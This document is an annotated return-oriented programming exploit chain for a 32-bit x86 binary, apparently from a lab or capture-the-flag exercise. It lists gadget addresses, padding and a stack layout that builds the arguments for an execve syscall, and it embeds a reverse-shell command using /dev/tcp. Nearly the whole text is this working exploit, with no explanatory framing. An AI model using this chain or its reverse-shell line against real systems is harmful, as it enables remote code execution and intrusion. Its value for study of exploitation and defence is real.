------------------------strings--------------------- 0x2f2f2f2f : ////bin/bash 0x2f6e6962 0x68736162 0xffffffff -------------------------------------------------- 0x632dffff : -c 0xffffffff -------------------------------------------------- 0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1 0x7361622f 0x692d2068 0x20263e20 0x7665642f 0x7063742f 0x3732312f 0x302e302e 0x382f312e 0x20303030 0x31263e30 0xffffffff -------------------------pointers------------------- 0xbbbbbbbb : pointer to ////bin/bash 0xcccccccc : pointer to -c 0xdddddddd : pointer to args 0xffffffff #################### Function 1 ###################### 0x080a3f72 : xchg eax, edi ; ret 0x080a8576 : pop eax ; ret 0xaaaaaaaa : value to subtract 0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x08099c0f : xor eax, eax ; ret 0x0807629e : add eax, ecx ; ret 0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080a3f72 : xchg eax, edi ; ret 0x08057b7e : pop ebx ; ret 0xa9b1bb40 : 0x1080cc004 - 0x5e5b04c4 0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret 0xeeeeeeee 0x0807b086 : xchg eax, esp ; ret #################### Function 2 ###################### 0x080a3f72 : xchg eax, edi ; ret 0x080a8576 : pop eax ; ret 0xaaaaaaaa : value to subtract 0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x08099c0f : xor eax, eax ; ret 0x0807629e : add eax, ecx ; ret 0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x08062158 : mov dword ptr [eax], edx ; pop ebx ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret ################### Padding A's #################### A * (532 - len(payload)) ################### Application #################### 0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret 0x080525d0 : xchg eax, ebp ; ret 0x08057b7e : pop ebx ; ret 0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the : data just before the function 0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080a8576 : pop eax ; ret 0xaaaaaaaa : value to subtract 0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop ---------------------------- eax now contains the distance from edx to ---------------------------- 0xffffffff at the end of the data 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x0807abcc : mov eax, edx ; ret 0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret 0xaaaaaa96 : 0xaaaaaaaa - distance from ecx to long arg 0xffffffff (20) 0xeeeeeeee : junk values to pop ---------------------------- eax now contains the address of 0xffffffff 0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x08099c0f : xor eax, eax ; ret 0x08083f21 : mov dword ptr [edx], eax ; ret 0x0807abcc : mov eax, edx ; ret ---------------------------- write nulls over 0xffffffff 0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret 0xeeeeeeee : junk value to pop 0x080c412b : inc ecx ; ret 0x080c412b : inc ecx ; ret 0x080c412b : inc ecx ; ret 0x080c412b : inc ecx ; ret ---------------------------- ecx now contains the starting address ---------------------------- of the function 0x08057b56 : pop edx ; ret 0x0804ba61 : address that points to 76 0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret 0xeeeeeeee 0xeeeeeeee : junk values 0xaaaaaa96 : distance from ecx to 3rd arg null terminator 0x08057b56 : pop edx ; ret 0xffffffff : max value in edx 0x0804f594 : inc edx ; clc ; pop ebp ; ret 0xeeeeeeee : junk value 0x0807629e : add eax, ecx ; ret 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret ---------------------------- write nulls to 3rd arg null terminator 0x08057b56 : pop edx ; ret 0x0804ba61 : address that points to 76 0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret 0xeeeeeeee 0xeeeeeeee : junk values 0xaaaaaa66 : distance from ecx to -c arg null terminator 0x08057b56 : pop edx ; ret 0xffffffff : max value in edx 0x0804f594 : inc edx ; clc ; pop ebp ; ret 0xeeeeeeee : junk value 0x0807629e : add eax, ecx ; ret 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret ---------------------------- write nulls to -c arg null terminator 0x08057b56 : pop edx ; ret 0x0804ba61 : address that points to 76 0x080a8fe0 : mov eax, dword ptr [edx] ; add esp, 8 ; pop ebx ; ret 0xeeeeeeee 0xeeeeeeee : junk values 0xaaaaaa5e : distance from ecx to 1st arg null terminator 0x08057b56 : pop edx ; ret 0xffffffff : max value in edx 0x0804f594 : inc edx ; clc ; pop ebp ; ret 0xeeeeeeee : junk value 0x0807629e : add eax, ecx ; ret 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret ---------------------------- write nulls to 1st arg null terminator 0x08057b7e : pop ebx ; ret 0xaaaaaa64 : distance from ecx to the start of -c string 0x08099c0f : xor eax, eax ; ret 0x0807629e : add eax, ecx ; ret 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret 0x08057b7e : pop ebx ; ret 0xaaaaaa9e : distance from ecx to the -c pointer 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret ---------------------------- write address of -c string to pointer 0x08057b7e : pop ebx ; ret 0xaaaaaa6a : distance from ecx to the start of 3rd arg string 0x08099c0f : xor eax, eax ; ret 0x0807629e : add eax, ecx ; ret 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret 0x08057b7e : pop ebx ; ret 0xaaaaaaa2 : distance from ecx to the 3rd arg pointer 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret ---------------------------- write address of 3rd arg string to pointer 0x08057b7e : pop ebx ; ret 0xaaaaaa52 : distance from ecx to the start of ////bin/bash 0x08099c0f : xor eax, eax ; ret 0x0807629e : add eax, ecx ; ret 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret 0x08057b7e : pop ebx ; ret 0xaaaaaa9a : distance from ecx to the ////bin/bash pointer 0x0807b086 : xchg eax, esp ; ret 0x080a3f72 : xchg eax, edi ; ret 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret ---------------------------- write address of ////bin/bash string to pointer 0x080a3f72 : xchg eax, edi ; ret 0x080a8466 : dec eax ; ret 0x080a8466 : dec eax ; ret 0x080a8466 : dec eax ; ret 0x080a8466 : dec eax ; ret 0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret 0xeeeeeeee : junk value to pop 0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080c412b : inc ecx ; ret 0x080c412b : inc ecx ; ret 0x080c412b : inc ecx ; ret 0x080c412b : inc ecx ; ret 0x080838e8 : mov eax, dword ptr [ecx] ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee 0xeeeeeeee : junk values to pop 0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret 0xeeeeeeee 0xeeeeeeee : junk values to pop ---------------------------- set edx, ecx and ebx 0x080a8576 : pop eax ; ret 0x81fffff4 : (0x81ffffe9 + 11) 11 = execve syscall number 0x080aa1cc : sub eax, 0x81ffffe9 ; ret 0x08048c0d : int 0x80